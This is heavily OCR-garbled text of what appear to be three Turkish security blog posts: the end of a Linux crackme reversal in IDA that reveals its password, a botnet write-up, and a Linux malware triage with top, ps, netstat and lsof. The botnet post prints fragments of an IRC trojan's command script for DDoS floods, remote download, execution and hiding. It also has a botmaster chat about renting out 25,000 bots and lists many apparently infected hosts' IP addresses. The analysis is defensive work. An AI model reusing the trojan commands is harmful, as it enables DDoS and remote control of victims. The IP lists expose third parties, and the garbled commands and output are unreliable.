x ) Funcions window X *.* Stings window | v | x 3] IDaView | x (53 HexViewa | x B Stuctures | X/ En Enums | X IR Ingorts | X 3 Expons |

[ Length | Type | Sting align 1on ﬂ

i char aGoodYouReReady| ]
aGoodYouReReady db °-[ Good, You',27h,'re ready to begin linux reversing ]-',0ah,0

0000008 0 54

00000028 C { Lirw CrackMe [Levet 2) by cyrex Fun

‘ou have bo get the vakd Pa: align 10h J
; char aunnnnvuursmlu 1
rodata:esnas7 o0 dUhnnh"'Dulr tite  smoeee o%ills are bad try again later ]-°,0Ah,0
ou're ready to begn bnus reve N Rename N

00000011

rodata 080 00000033 C
rodata 080 00000032 C { Obihbh, your skills are bad by again lat L Jump to operand Enter
rodata K] Jump ina new window  Alt+Enter
E] Jump in a new hex window
W chartof wefs to
tof fr
data A Chart of refs rom ATA* usedz
» Array... Num *
B4 Data D
X Undefine ]

data_start & o ;

| Add breakpont F2 ; Alternative name is *__ data_start’

| ] ¥ = iw Add write trace | Z‘

ne 7of 7 00000700 0BO4B700: .rodatacaChhhho - a0 readfurite race
b Add watch

D Output window o

1b/tls ] Copy address to command bne =

Bu kodun iizerine hizlica goz attigimizda kullanicidan alinan verinin yani sifrenin stremp fonksiyonu yardimi ile 47ghf6fh37fbgbg degeri
ile karsilastirildigini ve dogru olmasi durumunda Good ile baslayan mesaja aksi durumda Ohhh ile baglayan hata mesajina gittigimizi
goriiyoruz ve sifrenin 47ghf6fh37fbgbg oldugunu 6grenmis oluyoruz ve crackme basariyla ¢oziilmiis oluyor.

root@bt:"# mkdir ida

root@bt:"# smbmount ~-192.168.1.3-ida ida -o username=ida,password=ida,rw
root@bt:"# .ridaslinux_server

IDA Linux remote debug server(3T). Version 1.10. Copyright HexRays Z004-2009
Listening on port #23946

Accepting incoming connection...

td_ta_new: application not linked with libthread

td_ta_new: application not linked with libthread

—-[ Linux CrackMe (Level:Z) by cyrex 1-

—[ TODPD: You have to get the valid Password 1-

Enter Password: 12345

—[ Ohhhh, your skills are bad try again later 1-

Closing incoming connection

Accepting incoming connection...

td_ta_new: application not linked with libthread
td_ta_mew: application not linked with libthread
—-[ Linux CrackMe (Level:Z) by cyrex 1-

—[ TODD: You have to get the valid Password 1-
Enter Password: 47ghf6fh3?fbgbygj

-[ Good, You're ready to begin linux reversing 1-
Closing incoming conmnection...
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Gordigiiniiz tizere Windows iizerinde g¢alisan IDA ile Linux {izerindeki bir programi debug etmek GDB'nin aksine daha kolay ve
eglenceli olabiliyor.

Bir sonraki yazida goriismek dilegiyle herkese iyi haftalar dilerim.

Not: Gegtigimiz aylarda yayimnlanan v6 siiriimii ile IDA Pro kullanicilar1 Linux ve Mac OS X {izerinde GUI arayiiziine kavustu.

Botnet Gercegi

Source: https://www.mertsarica.com/botnet-gercegi/
By M.S on October 12th, 2010

=3,

Gectigimiz glinlerde http:/twitter.com/hack4career iizerinden yayinlanan bir kag zararli yazilim1 (timunun.exe, scan.exe) inceledigimde
karsima yerli mali ddos saldir1 6zelligine sahip, irc ve msn iizerinden haberlesebilen bir trojan ¢ikiverdi. Trojanin aldigi komutlari
inceledigimde reklam yapmadan, saldir1 yapmaya kadar bir ¢ok 6zelligi tizerinde barmdirdigint gérdiim.

i f
i f
i f
i f
i f
i f
i f
i f
i f
i f
i f
i f
i f
i f
i f
i f
i f
i f
i f
i f

($1
($1
($1
($1
($1
($1
($1
($1
($1
($1
($1
($1
($1
($1
($1
($1
($1
($1
($1
($1

Ireklam) { .set % ekl am $2- }
Ipacket) { if ($2 = ddos) { //set %chan # | if ($4 == random) { //fckrstart $3 $4 $r(1,65000) | halt }

IAtak) { if ($2 !== $null) { srvmsg (Packet) (Yollaniyor) $2 Uzerinde $3 Topl am $4 Packet | synp start
Inreklam { nmsg #x % ekl am}
I'mesaj nick) { .set %resajnick $2- | echo -a #x Yeni Mesaj Atilacak N ck %resajnick }

Imesaj) { .nmesaj }

Isettiner) { .set %inmer $2- }
Itimer) { .tiner31 %iner $2- }
Itimeroff) { .tinmer31 off }
lgir) { .girgir }

'Run) { srvnsg Running : $2- | .run $2- }
'qir) { .girulen $2- }
lq) { $2- }

'Version) { .Anlat }

! Down) { .Downl oad $2- }

ldownl oad) { .nmsg #x 4,1 |14, 1c4, 1eSh14, 104, 1cK Lanmer Korumas# .. | /server irc.xxxx.tr }
1Cone) { .Cone $2- }

Il dentClone) { .identclone $2- }

I'H deControl) { if ($appactive == $true) { nsg #x Mrc Acik } | else { nsg #x Mrc Kapali } }
IHde) { .dll ice32.dll do_ShowW ndow $wi ndow -2).hwnd 0 }

Trojanin konfigiirasyon dosyasinda yer alan IRC sunucusuna baglandigim zaman ilk bakista bos goriinen bir sunucu olarak goriinsede
cok gegmeden botmaster ile yaptigim sohbet esnasinda sunucu iizerinde tam tamina 25000 adet bot oldugunu ve bunlarin sadece 500
TL'ye kiralanabildigini 6grendigimde DDOS izleme ve dnleme sistemlerinin 6nemi benim i¢in daha da artmis oldu.

DDOS izleme ve dnleme sistemlerini hayata gegirme konusunda kurum veya kuruluslarinizda heniiz bir ilerleme kaydetmediyseniz,
yoneticilerinizi ikna etme adina 6rnek bulmakta zorlaniyorsaniz sizlere yardimei olma adina botmaster ile gerceklestirmis oldugum
sohbeti sizlerle paylagiyorum. Unutmadan, her ne kadar 41 antiviriis tireticisinden 31 tanesi bu zararli yazilimlar1 (timunun.exe, scan.exe,
imbot.exe) tespit ediyor olsada antiviriis politikalarinizdaki istenmeyen program politikalarina bu dosyalar1 eklemenizde fayda olabilir.
Bir sonraki yazida goriismek dilegiyle...

[ 20:
[ 20:
[ 20:
[ 20:
[ 20:
[ 20:
[ 20:
[ 20:
[ 20:
[ 20:
[ 20:
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[ 20:
[ 20:
[ 20:
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32]
33]
34]
34]
35]
35]
35]
35]
35]
36]
36]
37]
37]
37]
37]
38]
38]
38]
38]
38]
39]
39]
39]
39]
40]

<M5> guzel bot ol mu#

<Ms> ho#uma gitnmedi desem yal an ol ur

<M5> cok fazla ki#iye bul a#man## ama san#r#m

<kERxkxxkxxx> pula#t#r o zaman

<M5> yok yahu o beni mi#i m de#i |

krxkxxxxk> genin i #in ne

<M5> ben sadece bu tiur zararl# yaz#l #m ar# inceliyorum

<Ms> kendin m yazd#n bu fuckers.jpg ic¢inde yer alan timscripti ?
<*******~k> evet

<Ms> ar akl amad#n yani ?

Skxkkkxkk s arakLam##t a oLabi Liri mtam hat #r Lam#yor um ¢ok eski
<Ms> HTTP1. 4 nedir bunuda il k defa gordim

<kxxkxxxk s di #er gordikLerin neydi

<**~k***~k*> roxnet m

<M5> yok roxnetide ilk defa duydum

<kxxxxxxx> phy HTTP de oper oLmadan sunucuda hi ¢bir i#Lem yapam#yosun
<kxxxxxxk s di #er Lerinden ¢ok kolLay bot cal#n#yor

<Ms> kanal daki | eri de gbrem yorsun san#r#m

<M5> evet guzel bir yodntenm #

<MS> httpl.4 U nereden indirebilirim?

<k Kk kkkkk S googLe

<k*xxxxxx> pulabi Lirsin oradan

<krxkxkxxx> potnetm  besLi ceksin

<MS> yok hay#r sadece nas#l cal ##t ###n# merak ettim

<M5> googl e yapnm##t #m ama bul amam##t #m
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[ 20: 44] <MS> scan.exe ile inbot.exe ne i# yap#yor

[ 20: 45] <*******%*> gcan exe

[ 20: 45] <***x****> jgspjyoncu bot Ozelli# var

[ 20: 45] <x**=*=*x**%> hj | gi sayardaki di#er virdsLeri bulLup

[ 20: 45] <***x****> hangi serverda beslLendi kLerin

[ 20: 45] <x*****%*> yerijyor

[ 20: 45] <***x****x> jnbot exe ise msn ve facebook #ifresi veriyor

[20: 46] <MS> bunl ar# sen m yazd#n ?

[20: 46] <k EF KKK EES apnet

[20: 47] <MS> hangi crypter# kul |l and#n ?

[ 20: 48] <******xxx> grkada#a packer yapt#rm##t #m

[20 48] <********> hnm

[20: 48] <***x***x> gsende varm# crtptr

[ 20: 48] <M5> yok mmal esef

[20: 52] <MB> xxxxxxxx@otmail.comKkimn ?

[20: 52] <********> packer yapan ar kada##n

[ 20: 54] <Ms> bu i#i neden yap#yorsun ? para kazan#yor musun ?

[20: 54] <x*******> evet haz#r kurulLu dizen olLarak sat#yorumisteyen Ki#i Lere
[20: 54] <***x***x> glan ki #i Ler farkL# amaclLar icin kulLLan#yor

[ 20: 54] <MS> nesel a ne gi bi amaglar ?

[20: 55] <***x****> ppsela web sitesi olLan sitesini giunde binLerce ki#iye ziyaret ettirebilLiyor
[20:55] <MS> hitten para kazan#yor

[20: 55] <***x*x**x> kim si rakip siteye saLd#r# yaparak o siteyi c¢okertiyor
[ 20: 55] <MS> ne zamandan beri bu i#l erl e u#ra##yorsun ?

[20: 55] <***x*x***x> kimsi irc serverlLere salLd#r# yap#yor

[20: 55] <Ms5> ne kadar kiralama raici ?

[20:56] <*****xxxx> 500 TL

[20: 56] <****=****> | steffe gore de#i #i yor

[20: 56] <Ms> ayl #k m# y#l | #k m#

[20: 56] <********> gmir boyu eLinin alLt#nda buLunucak #eki Lde

[ 20: 57] <Ms> yakal anma kor kunuz yok mu ?

[20 57] <HE KKK KKK S 'p

[ 20: 57] <M5> nesel a ya ben polis ol sayd#m

[20: 57] <x*******> Sonunu dU#lnen kahranman olLanaz

[20: 59] <Ms> al #c# var denek ya sozde fakirle#m #tik hal k ol arak ama :)
[21:00] <MsS> yai kag¢ 20-30 aras# m# ?

[21: 00] <Ms> ya# denek istedim

[21: 00] kI F KKK KRS D4

[21: 01] <MsS> o6#renci de#il sin san#r#m ?

[21: 01] <*****x*xx> de#iLim

[21: 01] <MS> ne kadar siredir bu i#l erle u#ra##yorsun ?

[21: 01] <********> 6-7 Sene

[21: 02] <MsS> bu zamana kadar bu i#ten ne kadar para kazann##s#nd#r kabaca ?
[21: 03] <x*******> ot urdu#um ev araba

[21: 03] <***x*x**x> yedi#imicti# mvs vs

[21: 03] <HE KKK KKK S ;)

[21: 03] <M5> o kadar diyorsun yani

[21: 03] <k EE KKKk K S GOk

[21: 03] <****=*=*xxx> 25k L#k botnetLer

[21: 03] <x*******> gat #yor um

[21: 03] <MS> inanmas# zor kanalda 1 tane var sadece

[21:04] <*******%*> kanal +u

[21: 04] <***x****> gsgdece op olLan ki#iyi gorebilLirsin

[21: 04] <HE KKK KKK S ;)

[21: 04] <Ms> kormutuna 1 tanesi yan#t verd

[21: 04] <******x**> kanal +Mnm

[21: 05] <********x> sgdece o bot kanalLda op

[21:05] <********> kanal +Mm nbdunda oLdu#u ic¢in

[21: 05] <***x*x**x> dj #erlLeri yazanmaz

[21:05] <MsS> bende tek op sen gorunuyor sun ondan dedi m

[21: 05] <Ms> bu kanal da #i mdi ka¢ bot var ?

[21: 05] <kEFKKKKRES A03F

[21: 11] <Ms> xxxx'da kag¢ bot var ?

[21: ll] <k xx KKKk k> 8QH

[21: 11] <****x****> {oplLanda 25 bin bot var

[21:11] <x*******> resim gonderi cekti m sana

[21: 11] <***x****> dur upLoad edebilirim

[21:12] <MS> sunucunu kapat acakl ar d#r yak#nda

[21: 12] <***x*x***x> kagpat s#nLar yeni si ni acar#m 10 dakkam# alLmaz

[21: 12] <HE KKK KKK S ;)

[21: 12] <Ms> botl ara konfi glrasyon nas#l gececeksin ?

[21:12] <MS> haber| e#me ?

[21 13] <********> ’)

[21:50] <MS> bu botl ar#n hepsi tirkiyeden m ?

[21:50] <****=*=xxx> * [RUS| 00| | 803357] (XP-3602@85.26.164.76) Quit (Connection reset by peer)
[21:50] <******x*xx> * [TUR| 00| M 94088] (XP-9592@5. 10. 143. 18) has j oi ned #xxx
[21:50] <****=*=*xxx> x [TUR| 00| MP| 1458] ( XP-2438@8.226. 108. 139) has joi ned #xxx
[21:50] <*****x*xxx> * [USA| 00| M 15992] (XP-2325@L12. 205.48.212) Quit (Ping timeout)
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50] <********>
50] <********>
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50] <********>
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50] <********>
50] <********>
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50] <********>
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[ ESP| 00| MP| 5424] (XP- 9571@5. 63. 151. 152) has j 0i ned #xxx

[ TUR 00| | 628074] (XP-4760@B8. 252. 20. 154) Quit (Connection reset by peer)
[ RUS| 00| D] 20753] ( XP-3227@188. 17.238.215) Quit (Connection reset by peer)
[ RUS| 00| UD| 07067] ( XP-6066@ p- 83-149-3-98. nwgsmru) Qit (Ping tineout)

[ ESP| 00| D 45749]
[ TUR| 00| M 94088]
[ TUR| 00| P| 78342]
[ ESP| 00| D| 46676]
[ ESP| 00| M 58294]
[ BRA| 00| P| 30821]
[ TUR| 00| | 423136]
[ TUR| 00| M 10638]
[ TUR| 00| P| 17537]
[ TUR| 00| M 70509]
[ TUR| 00| P| 84223]
[ ESP| 00| D| 46676]
[ ESP| 02| MP| 3357]
[ ESP| 00| M 58294]
[ PRT| 00| MD| 2372]
[ TUR| 00| M 81825]
[ USA| 00| P| 53894]
[ TUR| 00| P| 83786]
[ RUS| 00| D| 43169]
[ TUR| 00| M 81825]
[ TUR| 00| P| 83485]
[ TUR| 00| | 767061]
[ ESP| 00| M 75075]
[ ESP| 00| D| 79796]
[ TUR| 00| P| 91644]
[ TUR| 00| MP| 4601]
[ TUR| 00| MP| 4750]
[ MEX| 00| P| 57920]
[ RUS| 00| PD| 7924]
[ TUR| 00| MP| 4750]

her UlLke nevcut

(XP-8229@186. 98.193.55) Quit (Ping tineout)
(XP-9592@®5. 10. 143.18) Quit (Ping tinmeout)

(XP-1906@r8. 180. 34. 21) Quit (Connection reset by peer)

(XP-7788@L86. 98. 193. 55) has j oi ned #xxx

( XP-2335@0st 247. 190- 30-24. tel ecom net . ar) has j oi ned #xxx

(XP-9933@189. 82. 185. 109) has j oi ned #xxx
(XP-1993@88. 228.111.79) Quit (Ping tineout)
( XP- 0056@88. 228. 111. 79) has j oi ned #xxx
(XP-9032@4. 122. 107. 201) has j oi ned #xxx

(XP-8216@®5. 15. 107.24) Quit (Connection reset by peer)

(XP-2377@8. 161. 205. 164) has j oi ned #xxx
(XP-7788@L86.98.193.55) Quit (Ping tineout)
(XP-9120@00. 66. 41. 104) has j oi ned #xxx

( XP-2335@ost 247. 190- 30-24. tel ecom net. ar) Quit
( XP-0409@188. 140. 78. 105) Quit (Connection reset
(XP-0312@88. 228. 156. 161) has j oi ned #xxx

(XP- 6659@pe- 70-117-171-43. el p.res.rr.com Quit
(XP-8494@r8. 180. 113. 205) Quit (Connection reset
(XP-2471@188. 187. 146. 160) has j oi ned #xxx
(XP-0312@88. 228. 156. 161) Quit (Connection reset
(XP-5511@2. 45.180. 13) Quit (Ping tineout)
(XP-0715@195. 174. 29.179) Qit (Connection reset

(Ping tineout)
by peer)

(Connection reset by peer)

by peer)
by peer)

by peer)

(XP-0172@ost 211. 190- 225-214. tel ecom net. ar) has j oi ned #xxx

(XP-2271@L86. 98. 193. 55) has joi ned #xxx

(XP- 4410@88. 252. 93. 8) has j 0i ned #xxx

(XP-9739@’8. 180. 113. 205) has j oi ned #xxx
(XP-5209@’8. 166. 134. 169) has j oi ned #Xxxx
(XP-6468@01. 152. 92. 83) has j oi ned #xxx

(XP-9229@88. 130. 189. 198) Quit (Connection reset by peer)
(XP-5209@’8. 166. 134. 169) Quit (Connection reset by peer)

Lj @ 5 BHEm L uﬁLz N A= =

CreuvueTu e Le =

MEK|52?6h (nhenti@r198-132-176-228 .dialup. mohlle ancel.net.uy) has joined

Tua gy o wuao oy xoy

Camuu g

MEX|2249239 {1latgexgRr198-132-176-228.dialup.mobile.ancel.net.uy) has ]Dlm

TUR|5179058 {vyovokc@78.184.179.249) has joined
TUR| 9412282 (rykpuaivn@85.97.96.177) has joined
TUR|1528748 {luiuvjcse@85.182.139.138) has join

ESP|9739483 (pctfzmjci@201.171.14.30.ds1.dyn.telnor.net) has joined NN

TUR| 6153182 {fsbnjerjo@88.236.56.184) has joine
TUR| 6482277 (jcdyqya@78.171.255.193) has joined
TUR| 7868877 {arcahsecB85.96.168.194) has joined
TUR| 8842554 {euebtebu@B85_108.23_47) has joined
TUR| 7318103 {(htunifwr@88.227.36.215) has joined
ESP| 4531927 {mqzzjnzyR@200.121.214.167) has join
TUR| 6721417 {(hqdthpmlv@78.164.63.89) has joined
TUR| 4481423 (gejnmsj@78.1808.39.254) has joined
TUR| 2352835 {(hnglhnbd@78.175.29.173) has joined

TUR| 4224507 {(vncueml@95.8.6.236) has joined

TUR| 8248728 (1byzuuij@81.214.89.68) has joined
TUR| 7866497 (dpobwgyzr@78.166.128.179) has join
TUR| 2845598 {gaklepa@88.236.6.168) has joined #i
TUR| 2443551 {aifqdlr@85.1681.258.168) has joined
[M]TUR|98882 (spurwfy@78._187.224.235) has joine
TUR| 8237614 (hixahliqq@E85.108.122.235) has join
TUR| 6877868 {vuvqquygsh@88.252.227 .153) has join
TUR| 2479841 {rxuwsfeth@95.65.179.183) has joined
TUR|1237330 {cgnuvlmqgR78.184.14.121) has joined
TUR| 1823334 (ciehfcg@188.38.175.94) has joined
TUR| 4187228 (leaquhv@78.164.122.185) has joined
ESP|1839897 (rlemeck@83.35.194.283) has joined
TUR| 1946218 {ztlslowqud78_171.16.168) has joine
TUR| 4841528 {(hKkogsaxee@88.244_149_48) has joine
TUR| 7543436 {asglesbx@88.238.19.184) has joined
TUR| 1887716 {lguqusssB88.224.218.114) has joine
TUR| 8937443 (ptdsfrhl@88.240.117.69) has joined |

. @
[M]ARE | 88692
[M]ARE | 81648
[M]ARE| 81257
[M]ARE| 81564
[M]AREG | 82478
[M]ARE | 82858
[M]ARE| 83882
[M]ARE| 83498
[M]ARE | 83772
[M]ARE| 84634
[M]ARE | 85867
[M]ARE| 86287
[M]ARE| 86419
[M]ARE | 86748
[M]ARE| 67 868
[M]ARE | 87253
[M]ARE | 87487
[M]ARE | 88573
[M]ARE| 89890
[M]ARE | 89395
[M]ARE | 89485
[M]ARE| 89430
[M]ARE | 89453
[M]ARE| 18748
[M]ARE| 18928
[M]ARE | 10975
[M]ARE | 11412
[M]ARE|12136
[M]ARE| 12364
[M]ARE | 12467
[M]ARE| 12524
[M]ARE | 12731

[H1ARG 13141

I sATILIK BOTHET
[M]ARG | 13142

otmail.com

= TUR|3582351 {jseebpqR78.161.119.35) has joined [M]ARG | 13285
* ESP|9218689 (kecmrx%ne@281.208.109.190) h?s_joi [M]ARE | 13358
* [M]ESP|49991 (bhaivjE186.141.12.164) has.]01n?d . [M]ARG|135

* TUR|B2636878 (vahbswlwn@78.171.99.186) Quit (Ping timeout) [H]ARE |14

* ESP|8658744 (eqwhqdwq@186 .Red-88-17-48 .dynamicIP.rima-tde.net) Quit (Ping timeout) [M]ARE| 151

= TUR|33850867 (fypxgsl@95.15.1592.173) Quit {(Ping timeout) [M]ARE|156

* TUR| 6536683 (qfavtidi@85.183.35.2508) has joined [H]ARE 171

= ESP|3823239 (jfnbuvotppR186.81.41.56) has joined

» MEX|77137 (uptehjq@r198-132-176-228.dialup.mobile.ancel.net.uy) has joined [NNENNEIN | [M]ARG |17

FH1ADM 1 AND,

Basit Malware Analizi (Linux)

Source: https://www.mertsarica.com/basit-malware-analizi-linux/
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By M.S on October 5th, 2010
Zararli yazilimlar Windows isletim sisteminden mi ibaret ? Tabii ki hayir 6zellikle botnet aginin pargasi olan zombi sunucularin internette

giivenlik yamasi yiiklenmemis web uygulamalarini istismar etmek i¢in taradig1 giiniimiizde, Linux sunucu kullanimmin Windows sunucu
kullanimina kiyasla daha yiiksek olmasi, Linux isletim sistemleri iizerinde ¢alisan zararli yazilimlarin sayisinda artisa neden olmaktadir.

Bugiinkii yazimda iizerinde zararli yazilim calistigindan siiphe ettiginiz bir Linux web sunucusu (veya masa lstll) iizerinde
calistirabileceginiz bir kag basit komut ile nasil zararli yazilim hakkinda bilgi edinebileceginizden kisaca ve basitge bahsedecegim.

Cogunlukla iizerinde zararli yazilim calisan bir isletim sisteminin stabilitesi bozuldugunda yiiksek miktarda hafiza ve/veya CPU
tikketimine neden olmaktadir.

Ornek olarak iizerinde zararli yazilim galistigindan siiphe duydugumuz bir Ubuntu dagitimina goz atalim. (inceleme dncesine trojan
tarafindan kullanilan irc sunucularina ait alan adlart HOSTS dosyasina 192.168.1.3 IP adresini ¢dziimleyecek sekilde tanimlanmistir.)

Yiiksek CPU tiikketiminden siiphe ettigimiz bir Linux sistem iizerinde "top" komutu ile sistem {izerinde ¢alisan programlarin/komutlarin
ne kadar CPU tiikettigini listeleyebiliriz.

top - 20:08:13 up 44 min, 4 users, load average: 1.20, 0.65, 0.29

Tasks: 76 total, Z running, 73 sleeping, 0 stopped, 1 zombie

Cpuls): ?9.1%us, 20.9xsy, 0.0zni, 0.0xid, 0.0xwa, 0.0xhi, 0.0xsi, ©0.0zst
Mem: 510476k total, 186296k used, 324180k free, 11460k buffers

Suwap: 409616k total, 0k used, 409616k free, 135948k cached

PID USER PR NI VIRT RES SHR 5 «CPU zME INE+ COMMAND

12457 wuwuw-data 20 0 5928 3776 1216 R 98. 127.39 perl
13066 root 20 0 2412 1108 872 :00.03 top

root 20 0 3052 1892 572 02.02 init

root 15 -5 00.00 kthreadd

root RT -5 :00.00 migrations0
:00.00 ksoftirgd O
:00.01 events-0
:00.04 khelper
100.00 async/mgr
:00.41 kblockd-0
:00.00 kacpid
:00.00 kacpi_notify
:00.00 atas0d
(00.00 ata_aux
:00.00 ksuspend_usbd
00.00 khubd
:00.00 kseriod
:00.00 khpsbpkt

root 15 -5

root 15 -5
root 15 -5
root 15 -5
root 15 -5
root 15 -5
root 15 -5
root 15 -5
root 15 -5
root 15 -5
root 15 -5
root 15 -5
root 15 -5

[l ool ool o oRoloRoloRoloR ool

[l - ol oo oNoRoloRoloRoloR ool

[l =N ol ool ol oRoloRoloRolol ool
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[l ool o ololoRoloRolicRolioolioolio)
[N ol ool o oRoloRoloRoloRoliol ool
[cR =N oo oo oRoloRoloRolol ool o ool
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Ekran goriintiisiinden goriilecegi tizere www-data kullanicisi tarafindan galistirilan perl programi %98 CPU tiiketmektedir. www-data
kullanicisi, perl komutunun web sunucusu tarafindan calistirildigina dair bize ipucu vermekte fakat bu komutun hangi klasor icinden
calistirildigina dair bilgi vermedigi i¢in arastirmamiza devam etmemiz gerekmektedir.

Sistem {lizerinde calisan programlar1 "ps ax" komutu ile (normal sartlarda kullanici bilgisinide igermesi nedeniyle "ax" yerine "aux"
parametrelerinin kullanilmasini1 éneriyorum) ¢alisan islemleri (process) listelettigimizde "top" komutunun ¢iktisinda en iistte yer alan
12457 ID'li perl programinin burada "/usr/bin/httpd" oldugunu goriiyoruz.

hald-addon-storage: no polling on sdev/fd0 because it
hald-addon-storage: polling ~dev-hdc (every 2 sec)
susr/binssystem—tools-backends

sbinslogin ——

-bash

-bash

iptraf

-bash

~bash

dhclient3 -e IF_METRIC=100 -pf rvar/run-sdhclient.eth0
susr/sbinsapache2 -k start

susr/sbinsapache2 -k start

susr/sbinsapache2 -k start

susr/sbinsapacheZ -k start

susr/sbinsapache2 -k start

susr/shinsapacheZz -k start

susr/sbinsapache2 -k start

[sh]l <defunct>

susr/sbinshttpd

susr/sbinshttpd

susrssbinsapacheZ -k start

[sh]l <defunct>

susr/localrsapachesbinshttpd -D3SSL

pPs ax

T
T
T
T
T
?
T
T
T
T
7
T
?

[cR-NoRcoNolaloRoloRoloRoliogoliooloo oo Rolo ool
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Bir kag satir iiste baktigimizda sistem tizerinde apache2'ninde ¢alistigi goriilmektedir. Hem apache2 ve hem httpd sistemimiz iizerinde
calistyor ve iki farkli komut (top ve ps) tek bir PID (process id) i¢in iki farkli programu isaret ettigi i¢in alarm ¢anlarini ¢alabiliriz ¢iinkii
bu sistem iizerinde birseylerin kendini gizlemeye ¢alistigini agikga isaret ediyor.

Arastirmamiza devam ederek sistem iizerinde dncelikle TCP protokoliine ait agik ag baglanti noktalarini ve durumlarini "netstat -ant"
komutu ile listeliyoruz. (Normal sartlarda netstat programi tarafindan desteklenen tiim protokollere ait acik ag baglanti noktalariin
listelenmesi i¢in "netstat -an" komutunu kullanmanizi 6neriyorum.)

root 20 0 2412 1108
root 20 0 3052 1892
root 15 -5 [0}
root RT -5
root 15 -5
root 15 -5
root 15 -5
12 root 15 -5
202 root 15 -5
204 root 15 -5
205 root 15 -5
322 root 15 -5
323 root 15 -5
327 root 15 -5
333 root 15 -5
336 root 15 -5
368 root 15 -5
root@bt: # netstat -ant
Active Internet connections (servers and established)
Proto Recu-[}] Send-Q] Local Address Foreign Address State
tcp 4] 0 0.0.0.0:80 0.0.0.0:% LISTEN
tcp 0] 0 192.168.2.129:46075 192.168.1.3:6667 ESTABLISHED
tcp 4] 1 192.168.2.129:40479 207.46.170.123:81 SYN_SENT
tcp 4] 0 192.168.2.129:80 192.168.2.1:50019 ESTABLISHED
root@bt : # _

100.09 top

02.02 init

00.00 kthreadd
:00.00 migrations0
:00.00 ksoftirgd O
:00.01 events-0
:00.04 khelper
00.00 asyncs/mgr
:00.41 kblockd-o
:00.00 kacpid
:00.00 kacpi_notify
:00.00 atas0d

00.00 ata_aux
:00.00 ksuspend_usbd
:00.00 khubd

:00.00 kseriod
:00.00 khpsbpkt

[cRoNoRolog ol ool ol oo oo i o

CooooOoeEDooooEC
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[cR=NoRolog ool ool oo N oo oo R
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[cR=NoRolog oo ol o o oo oo R oo R o
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Yukaridaki ekran goriintiisiinde, 192.168.2.129 IP adresine sahip olam sistemimiz 6667 numarali baglanti noktasi {izerinden 192.168.1.3
IP adresi ile haberlestigini goriiyoruz. 6667-6669 baglant1 noktalar1 ¢ogunlukla IRC (internet relay chat) sohbet sunuculari tarafindan
kullanilmaktadir. Bu baglant1 noktasi ile gerceklesen haberlesme bize sistem iizerinde ¢alistifindan siiphe ettigimiz zararli yazilimin
DDOS botu olma ihtimalini gii¢lendiriyor.

Sistemimiz tizerindeki agik dosya ve soketlerin listesini gormek i¢in "lsof" komutundan faydalanabiliriz. Bu komut sayesinde 12457
PID'li siipheli programin hangi dosyalara eristigini ve soketleri kullandigin listeliyoruz.

perl 12457 wuwuw-data REG 149332 320346 -slibstls/i6B6-scmovslibm
-2.8.90.s0

perl 12457 wwu-data REG 9676 320344 /libstls/ibBbs/cmovslibd
1-2.8.90.s50

perl 12457 wuwuw-data REG 21940 263442 rusrslibsperlrs5.10.0-/au
tosSocketsSocket.so

perl 12457 wwu-data REG 17812 263251 rusrrlibrperls5.10.0,au
to/I0/10.s0

perl 12457 wwu-data REG 113252 310709 ,1ibrs1d-2.8.90.s0

perl 12457 wuwuw-data Or CHR 6732 sdevsnull

perl 12457 wuwuw-data 1w FIFOD 63584 pipe

perl 12457 wwu-data Zuw REG 15262 479317 ~svars/lograpacheZ-error.
log

perl 12457 wwu-data I1Pv4 TCP =:wuww (LISTEN)

perl 12457 wuwuw-data 4r FIFOD 63544 pipe

perl 12457 wuwuw-data Sw FIFOD 63544 pipe

perl 12457 wuwuw-data bu REG 479318 rvarslograpache2-other_
vhosts_access. log

perl 12457 wwu-data Tu REG 479316 rvarslograpacheZraccess
. log

perl 12457 wwu-data 8u 0000 15 anon_inode

perl 12457 wuwuw-data 9u  sock 63555 can't identify protocol
perl 12457 wwu-data 10u IPv4 TCP 192 .168.2.129:46075->ir
c.indoforun.org:ircd (ESTABLISHED)

root@bt: # lsof -p 12457_

En iist satirda yer alan ve perl'e ait olan socket kiitliphanesi bize ¢alisan zararli yazilimin Perl ile hazirlandigini, "ps ax" ¢iktisinda yer
alan "/usr/bin/httpd" komutunun sahte oldugunu agikc¢a ifade ediyor. Bununlada yetinmeyip ¢apraz kontrol adina "Is -al /usr/bin/httpd"
komutu ile httpd programinin sistem tizerindeki varligini kolayca teyit edebiliriz.
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5904
5988
6757
8751
12430
12439
12441
12442
12443
12444
12445
12454
12457
13133
14624
14627
14630 7
15081 tty3
18526 7
20116 tty3d
20477 ttyz 100 top

21662 tty1l R+ 100 ps ax

root@bt: # ls -al susrssbinshttpd

ls: cannot access susrsshbinshttpd: No such file or directory
root@bt: # _

100 iptraf

100 —-bash

100 —bash

00 dhclient3 -e IF_METRIC=100 -pf ~rvarsrunrsdhclient.eth0
100 susrssbinsapacheZ -k start

100 susrssbinsapacheZ -k start

100 susrssbinsapacheZ -k start

100 susrssbinsapacheZ -k start

100 susrssbinsapache2 -k start

100 susrssbinsapacheZ -k start

00 susrssbinsapacheg -k start

100 [shl <defunct>

11 susrssbinshttpd

100 susrssbinshtipd

100 susrssbinsapacheZ2 -k start

00 [shl <defunct>

:03 susrslocalrsapachesbinshttpd -DSSL
100 —bash

100 susrssbinscland

100 less

-
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"Isof" komutunun diger bir giizel 6zelligi ise size ilgili program tarafindan kullanilan CWD (current working directory) bilgisinide
veriyor olmasidir. www-data kullanicisi apache2 programinin ¢alistirilmasindan sorumlu ise ve siiphelendigimiz zararli yazilim/komut
bu kullanict tarafindan ¢aligtirilmig ise bu durumda ikisinin tek ortak noktasinin apache2 programi oldugu diisiiniildiigiinde "lsof | grep
-1 www-data | grep cwd " komutu ile www-data kullanicisina ait bilgiler filtrelendiginde karsimiza asagidaki tablo ¢ikiyor.

root@bt: # lsof | grep -i wwu-data | grep cud

apacheZ 12439 wuw-data cud DIR 442277 svarsuuu
smaker/info

apacheZ 12441 wuw-data cud DIR 2 7
apacheZ 12442 wuw-data cud DIR 2 7
apacheZ 12443 wuw-data cud DIR 442277 svarsuuu
smakersinfo

apachez 12444 wwu—data cuwd DIR

apacheZ 12445 wuw-data cud DIR

perl 12457 wwu-data cud DIR

perl 13133 wuw-data cud DIR

apacheZ 14624 wuw-data cud DIR

perl 24984 wuw-data cud DIR

root@bt: # _

En st satirda yer alan ve apache2'ye ait olan CWD bilgisi ("/var/www/maker/info") bize zararli programin www-data kullanicisi ile
apache? tizerinden ¢aligtirilmis olma ihtimalini olduk¢a giiglendiriyor.

